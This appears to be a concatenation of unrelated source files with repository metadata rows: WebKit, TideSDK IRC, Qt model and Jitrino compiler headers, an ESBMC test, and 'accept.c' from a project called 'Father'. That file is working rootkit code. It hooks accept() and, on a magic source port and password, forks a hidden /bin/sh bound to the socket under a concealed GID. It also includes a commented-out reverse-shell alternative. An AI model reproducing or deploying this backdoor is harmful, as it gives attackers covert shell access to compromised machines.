UIView* _view;
}
@property (assign,nonatomic,__weak) id<WKActionSheetAssistantDelegate> delegate;
@property (readonly) unsigned long long hash;
@property (readonly) Class superclass;
@property (copy,readonly) NSString * description;
@property (copy,readonly) NSString * debugDescription;
-(void)setDelegate:(id<WKActionSheetAssistantDelegate>)arg1 ;
-(void)dealloc;
-(id<WKActionSheetAssistantDelegate>)delegate;
-(id)initWithView:(id)arg1 ;
-(id)superviewForSheet;
-(void)_createSheetWithElementActions:(id)arg1 showLinkTitle:(BOOL)arg2 ;
-(BOOL)presentSheet;
-(CGRect)_presentationRectForSheetGivenPoint:(CGPoint)arg1 inHostView:(id)arg2 ;
-(CGRect)initialPresentationRectInHostViewForSheet;
-(id)hostViewForSheet;
-(void)updateSheetPosition;
-(void)updatePositionInformation;
-(void)cleanupSheet;
-(RetainPtr<NSArray>*)defaultActionsForImageSheet:(id)arg1 ;
-(void)_appendOpenActionsForURL:(id)arg1 actions:(id)arg2 elementInfo:(id)arg3 ;
-(RetainPtr<NSArray>*)defaultActionsForLinkSheet:(id)arg1 ;
-(CGRect)presentationRectInHostViewForSheet;
-(BOOL)isShowingSheet;
-(void)showImageSheet;
-(void)showLinkSheet;
-(void)showDataDetectorsSheet;
@end
| 37.173077 | 112 | 0.805484 |
8cfe23908b834894de1c79a2be74fdaf590e22b8 | 1,501 | h | C | src/modules/network/protocols/irc/irc_client_binding.h | badlee/TideSDK | fe6f6c93c6cab3395121696f48d3b55d43e1eddd | [
"Apache-2.0"
] | 1 | 2021-09-18T10:10:39.000Z | 2021-09-18T10:10:39.000Z | src/modules/network/protocols/irc/irc_client_binding.h | hexmode/TideSDK | 2c0276de08d7b760b53416bbd8038d79b8474fc5 | [
"Apache-2.0"
] | 1 | 2022-02-08T08:45:29.000Z | 2022-02-08T08:45:29.000Z | src/modules/network/protocols/irc/irc_client_binding.h | hexmode/TideSDK | 2c0276de08d7b760b53416bbd8038d79b8474fc5 | [
"Apache-2.0"
] | null | null | null | /**
* Copyright (c) 2012 - 2014 TideSDK contributors
* http://www.tidesdk.org
* Includes modified sources under the Apache 2 License
* Copyright (c) 2008 - 2012 Appcelerator Inc
* Refer to LICENSE for details of distribution and use.
**/
#ifndef _IRC_CLIENT_BINDING_H_
#define _IRC_CLIENT_BINDING_H_
#include <tide/tide.h>
#include <Poco/Thread.h>
#ifdef OS_LINUX
#include <unistd.h>
#endif
#include "IRC.h"
namespace ti
{
class IRCClientBinding : public StaticBoundObject
{
public:
IRCClientBinding(Host*);
virtual ~IRCClientBinding();
private:
Host* host;
TiObjectRef global;
IRC irc;
TiMethodRef callback;
Poco::Thread *thread;
static void Run(void*);
static int Callback(char *cmd, char* params, irc_reply_data* data, void* conn, void* pd);
void Connect(const ValueList& args, ValueRef result);
void Disconnect(const ValueList& args, ValueRef result);
void Send(const ValueList& args, ValueRef result);
void SetNick(const ValueList& args, ValueRef result);
void GetNick(const ValueList& args, ValueRef result);
void Join(const ValueList& args, ValueRef result);
void Unjoin(const ValueList& args, ValueRef result);
void IsOp(const ValueList& args, ValueRef result);
void IsVoice(const ValueList& args, ValueRef result);
void GetUsers(const ValueList& args, ValueRef result);
};
}
#endif
| 28.865385 | 97 | 0.66489 |
87d2cd3518479021fb70a59ada6330c8baf49bb3 | 1,657 | h | C | qmlfilelistmodel.h | benlau/quikit | e6aa7fa024bf6d456022e33b6dd98740118767cf | [
"Apache-2.0"
] | null | null | null | qmlfilelistmodel.h | benlau/quikit | e6aa7fa024bf6d456022e33b6dd98740118767cf | [
"Apache-2.0"
] | null | null | null | qmlfilelistmodel.h | benlau/quikit | e6aa7fa024bf6d456022e33b6dd98740118767cf | [
"Apache-2.0"
] | null | null | null | #ifndef QMLFILELISTMODEL_H
#define QMLFILELISTMODEL_H
#include <QObject>
#include <QSListModel>
#include <QThreadPool>
#include <QFuture>
namespace QUIKit {
class QmlFileListModel : public QSListModel
{
Q_OBJECT
Q_PROPERTY(QString folder READ folder WRITE setFolder NOTIFY folderChanged)
Q_PROPERTY(QStringList filters READ filters WRITE setFilters NOTIFY filtersChanged)
Q_PROPERTY(QVariantMap options READ options WRITE setOptions NOTIFY optionsChanged)
public:
explicit QmlFileListModel(QObject *parent = 0);
~QmlFileListModel();
QString folder() const;
void setFolder(const QString &folder);
QStringList filters() const;
void setFilters(const QStringList &filters);
QVariantMap options() const;
void setOptions(const QVariantMap &options);
signals:
void folderChanged();
void filtersChanged();
void contentReady();
void optionsChanged();
public slots:
void process(const QStringList& input);
public:
class File {
public:
/// Preview file URL
QString preview;
/// The source file URL to be loaded
QString source;
/// The implementation file
QString qml;
/// The UI form file
QString ui;
/// The name of the file (without .qml)
QString title;
/// The options to be passed to the QML file for preview.
QVariantMap properties;
};
private:
void feed();
void realFeed();
void setContent(const QList<File>& files);
QString m_folder;
QStringList m_filters;
QVariantMap m_options;
bool m_pendingToFeed;
};
}
#endif // QMLFILELISTMODEL_H
| 21.24359 | 87 | 0.684369 |
40880aedaed78e9e211c7cfa6f91a99154220f0a | 293 | c | C | regression/esbmc/github_704/main.c | correcthorsebatterystaple/esbmc | 1fc1aed3b7a4aa3a16c3fcd4a4f67f477da0c4cc | [
"BSD-3-Clause"
] | null | null | null | regression/esbmc/github_704/main.c | correcthorsebatterystaple/esbmc | 1fc1aed3b7a4aa3a16c3fcd4a4f67f477da0c4cc | [
"BSD-3-Clause"
] | null | null | null | regression/esbmc/github_704/main.c | correcthorsebatterystaple/esbmc | 1fc1aed3b7a4aa3a16c3fcd4a4f67f477da0c4cc | [
"BSD-3-Clause"
] | null | null | null | typedef union uni_s {
int data;
} uni_t;
typedef struct arr_s {
int data[2];
} arr_t;
typedef struct top_s {
uni_t u;
arr_t a;
} top_s;
int main() {
top_s t;
arr_t* a = &t.a;
for (int i = 0; i < 2 ; i++) {
a->data[i] = i;
assert(a->data[i] == i);
}
return 0;
}
| 11.72 | 32 | 0.525597 |
c6661941b0c95a57d6a4ad4f351c2c4ab35ccc92 | 9,506 | c | C | src/accept.c | fengjixuchui/Father | 1c8baf0f874011f1849fd6585858bb6455b95e55 | [
"Unlicense"
] | 5 | 2022-01-26T17:38:57.000Z | 2022-02-20T18:22:37.000Z | src/accept.c | fengjixuchui/Father | 1c8baf0f874011f1849fd6585858bb6455b95e55 | [
"Unlicense"
] | null | null | null | src/accept.c | fengjixuchui/Father | 1c8baf0f874011f1849fd6585858bb6455b95e55 | [
"Unlicense"
] | 1 | 2022-02-17T11:05:02.000Z | 2022-02-17T11:05:02.000Z | #include "father.h"
// ascii art
char art[] = {
0x20, 0x23, 0x23, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0xa,
0xa, 0xa, 0xa, 0x2, 0xa, 0x3, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0x3, 0xa, 0x3, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0x2, 0xa, 0x2, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x1a, 0xa, 0xa, 0xa, 0xa, 0x17, 0x65,
0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa,
0x17, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x56, 0x56, 0x56,
0x56, 0x56, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa,
0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0x20, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x20, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x20,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x20, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x20, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x20, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x20, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65,
0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x20, 0x20, 0x23,
0x23, 0x6f, 0x44, 0x40, 0x45, 0x53, 0xa, 0x5e, 0x42, 0x4f, 0xa, 0x59,
0x42, 0x4f, 0x46, 0x46, 0xb, 0x20, 0x20, 0x20,
};
/*
* accept() hook. If connection comes from our port, use the socket for a bind
* shell. Alternatively connect back over our hidden port.
*/
int (*o_accept)(int, struct sockaddr *, socklen_t *);
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) {
#ifdef DEBUG
fprintf(stderr, "accept() called!\n");
#endif
if (!o_accept)
o_accept = dlsym(RTLD_NEXT, "accept");
if (getegid() == GID)
return o_accept(sockfd, addr, addrlen);
socklen_t mylen;
struct sockaddr_in mysa;
struct sockaddr_in *sockaddrptr;
mylen = sizeof(mysa);
int check;
if (addr == NULL) {
check = o_accept(sockfd, (struct sockaddr *)&mysa, &mylen);
sockaddrptr = &mysa;
} else {
check = o_accept(sockfd, addr, addrlen);
sockaddrptr = (struct sockaddr_in *)addr;
}
if (sockaddrptr && ntohs(sockaddrptr->sin_port) == SOURCEPORT) {
/*
// uncomment and comment out the rest to connect via a reverse shell instead
struct in_addr ip = sockaddrptr->sin_addr;
char ip_as_str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &ip, ip_as_str, INET_ADDRSTRLEN);
int port = (int)strtol(HIDDENPORT, NULL, 16);
backconnect(ip_as_str, port);
*/
pid_t pid;
if ((pid = fork()) == 0) {
char pwd[512];
write(check, "\n\nAUTHENTICATE: ", 16);
read(check, pwd, 512);
if (strstr(pwd, SHELL_PASS)) {
memfrob(art, sizeof(art));
write(check, "\033[1m", strlen("\033[1m"));
write(check, art, sizeof(art));
write(check, "\033[0m", strlen("\033[0m"));
if (geteuid() == 0)
setgid(GID);
dup2(check, 0);
dup2(check, 1);
dup2(check, 2);
execl("/bin/sh", "/bin/sh", (char *)NULL);
}
}
if (pid != 0) {
errno = ECONNABORTED;
return -1;
}
}
return check;
}
| 51.663043 | 80 | 0.581948 |
c680f1d9d489dfa8d56c765da9907125e8d7b4b0 | 23,680 | h | C | drlvm/vm/jitrino/src/codegenerator/ipf/include/IpfCodeSelector.h | sirinath/Harmony | 724deb045a85b722c961d8b5a83ac7a697319441 | [
"Apache-2.0"
] | 8 | 2015-11-04T06:06:35.000Z | 2021-07-04T13:47:36.000Z | drlvm/vm/jitrino/src/codegenerator/ipf/include/IpfCodeSelector.h | sirinath/Harmony | 724deb045a85b722c961d8b5a83ac7a697319441 | [
"Apache-2.0"
] | 1 | 2021-10-17T13:07:28.000Z | 2021-10-17T13:07:28.000Z | drlvm/vm/jitrino/src/codegenerator/ipf/include/IpfCodeSelector.h | sirinath/Harmony | 724deb045a85b722c961d8b5a83ac7a697319441 | [
"Apache-2.0"
] | 13 | 2015-11-27T03:14:50.000Z | 2022-02-26T15:12:20.000Z | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @author Intel, Konstantin M. Anisimov, Igor V. Chebykin
*
*/
#ifndef _IPF_CODE_SELECTOR_H_
#define _IPF_CODE_SELECTOR_H_
#include "CodeGenIntfc.h"
#include "VMInterface.h"
#include "IpfCfg.h"
#include "IpfOpndManager.h"
namespace Jitrino {
namespace IPF {
#define NOT_IMPLEMENTED_C(name) { IPF_ERR << name << " INSTRUCTION NOT IMPLEMENTED" << endl; return NULL; }
#define NOT_IMPLEMENTED_V(name) { IPF_ERR << name << " INSTRUCTION NOT IMPLEMENTED" << endl; }
//========================================================================================//
// IpfMethodCodeSelector
//========================================================================================//
class IpfMethodCodeSelector : public MethodCodeSelector::Callback {
public:
IpfMethodCodeSelector(Cfg&, CompilationInterface&);
MethodDesc *getMethodDesc();
void genVars(U_32, VarCodeSelector&);
void setMethodDesc(MethodDesc*);
void genCFG(U_32, CFGCodeSelector&, bool);
// void setProfileInfo(CodeProfiler*) {}
virtual ~IpfMethodCodeSelector() {}
protected:
MemoryManager &mm;
Cfg &cfg;
CompilationInterface &compilationInterface;
MethodDesc *methodDesc;
OpndVector opnds;
NodeVector nodes;
};
//========================================================================================//
// IpfVarCodeSelector
//========================================================================================//
class IpfVarCodeSelector : public VarCodeSelector::Callback {
public:
IpfVarCodeSelector(Cfg&, OpndVector&);
U_32 defVar(Type*, bool, bool);
void setManagedPointerBase(U_32, U_32);
protected:
MemoryManager &mm;
Cfg &cfg;
OpndVector &opnds;
OpndManager *opndManager;
};
//========================================================================================//
// IpfCfgCodeSelector
//========================================================================================//
class IpfCfgCodeSelector : public CFGCodeSelector::Callback {
public:
IpfCfgCodeSelector(Cfg&, NodeVector&, OpndVector&, CompilationInterface&);
U_32 genDispatchNode(U_32, U_32, const StlVector<MethodDesc*>&, double);
U_32 genBlock(U_32, U_32, BlockKind, BlockCodeSelector&, double);
U_32 genUnwindNode(U_32, U_32, double);
U_32 genExitNode(U_32, double);
void genUnconditionalEdge(U_32, U_32, double);
void genTrueEdge(U_32, U_32, double);
void genFalseEdge(U_32, U_32, double);
void genSwitchEdges(U_32, U_32, U_32*, double*, U_32);
void genExceptionEdge(U_32, U_32, double);
void genCatchEdge(U_32, U_32, U_32, Type*, double);
void genExitEdge(U_32, U_32, double);
void setLoopInfo(U_32, bool, bool, U_32);
void setPersistentId(U_32, U_32);
virtual ~IpfCfgCodeSelector() {}
protected:
MemoryManager &mm;
Cfg &cfg;
NodeVector &nodes;
OpndVector &opnds;
CompilationInterface &compilationInterface;
OpndManager *opndManager;
};
//========================================================================================//
// IpfInstCodeSelector
//========================================================================================//
class IpfInstCodeSelector : public InstructionCallback {
public:
IpfInstCodeSelector(Cfg&, BbNode&, OpndVector&, CompilationInterface&);
//---------------------------------------------------------------------------//
// Arithmetic
//---------------------------------------------------------------------------//
CG_OpndHandle *add(ArithmeticOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *sub(ArithmeticOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *mul(ArithmeticOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *addRef(RefArithmeticOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *subRef(RefArithmeticOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *diffRef(bool, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *tau_div(DivOp::Types, CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *tau_rem(DivOp::Types, CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *neg (NegOp::Types, CG_OpndHandle*);
CG_OpndHandle *min_op (NegOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *max_op (NegOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *abs_op (NegOp::Types, CG_OpndHandle*);
CG_OpndHandle *and_ (IntegerOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *or_ (IntegerOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *xor_ (IntegerOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *not_ (IntegerOp::Types, CG_OpndHandle*);
CG_OpndHandle *shl (IntegerOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *shr (IntegerOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *shru (IntegerOp::Types, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *shladd(IntegerOp::Types, CG_OpndHandle*, U_32, CG_OpndHandle*);
CG_OpndHandle *convToInt(ConvertToIntOp::Types, bool, bool, ConvertToIntOp::OverflowMod, Type*, CG_OpndHandle*);
CG_OpndHandle *convToFp(ConvertToFpOp::Types, Type*, CG_OpndHandle*);
CG_OpndHandle *ldc_i4(I_32);
CG_OpndHandle *ldc_i8(int64);
CG_OpndHandle *ldc_s(float);
CG_OpndHandle *ldc_d(double);
CG_OpndHandle *ldnull(bool);
CG_OpndHandle *ldVar(Type*, U_32);
void stVar(CG_OpndHandle*, U_32);
CG_OpndHandle *defArg(U_32, Type*);
CG_OpndHandle *cmp (CompareOp::Operators, CompareOp::Types, CG_OpndHandle*, CG_OpndHandle*, int);
CG_OpndHandle *czero (CompareZeroOp::Types, CG_OpndHandle*);
CG_OpndHandle *cnzero(CompareZeroOp::Types, CG_OpndHandle*);
CG_OpndHandle *copy(CG_OpndHandle*);
CG_OpndHandle *tau_staticCast(ObjectType*, CG_OpndHandle*, CG_OpndHandle*);
//---------------------------------------------------------------------------//
// Branch & Call
//---------------------------------------------------------------------------//
void branch(CompareOp::Operators, CompareOp::Types, CG_OpndHandle*, CG_OpndHandle*);
void bzero (CompareZeroOp::Types, CG_OpndHandle*);
void bnzero(CompareZeroOp::Types, CG_OpndHandle*);
void tableSwitch(CG_OpndHandle*, U_32);
CG_OpndHandle *call(U_32, CG_OpndHandle**, Type*, MethodDesc*);
CG_OpndHandle *tau_call(U_32, CG_OpndHandle**, Type*, MethodDesc*, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *tau_calli(U_32,CG_OpndHandle**, Type*, CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*);
void ret();
void ret(CG_OpndHandle*);
//---------------------------------------------------------------------------//
// Exceptions & checks
//---------------------------------------------------------------------------//
void throwException(CG_OpndHandle*, bool);
void throwException(ObjectType* excType);// generater code to throw noted type exception
void throwSystemException(CompilationInterface::SystemExceptionId);
void throwLinkingException(Class_Handle, U_32, U_32);
CG_OpndHandle *catchException(Type*);
CG_OpndHandle *tau_checkNull(CG_OpndHandle *, bool);
CG_OpndHandle *tau_checkBounds(CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *tau_checkLowerBound(CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *tau_checkUpperBound(CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *tau_checkElemType(CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *tau_checkZero(CG_OpndHandle*);
CG_OpndHandle *tau_checkCast(ObjectType*, CG_OpndHandle*, CG_OpndHandle*);
//---------------------------------------------------------------------------//
// Memory operations
//---------------------------------------------------------------------------//
void tau_stInd(CG_OpndHandle*, CG_OpndHandle*, Type::Tag, bool, CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *tau_ldInd(Type*, CG_OpndHandle*, Type::Tag, bool, bool, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *ldString(MethodDesc*, U_32, bool);
CG_OpndHandle *ldLockAddr(CG_OpndHandle*);
CG_OpndHandle *tau_ldVirtFunAddr(Type*, CG_OpndHandle*, MethodDesc*, CG_OpndHandle*);
CG_OpndHandle *tau_ldVTableAddr(Type*, CG_OpndHandle*, CG_OpndHandle*);
CG_OpndHandle *getVTableAddr(Type*, ObjectType*);
CG_OpndHandle *getClassObj(Type*, ObjectType*);
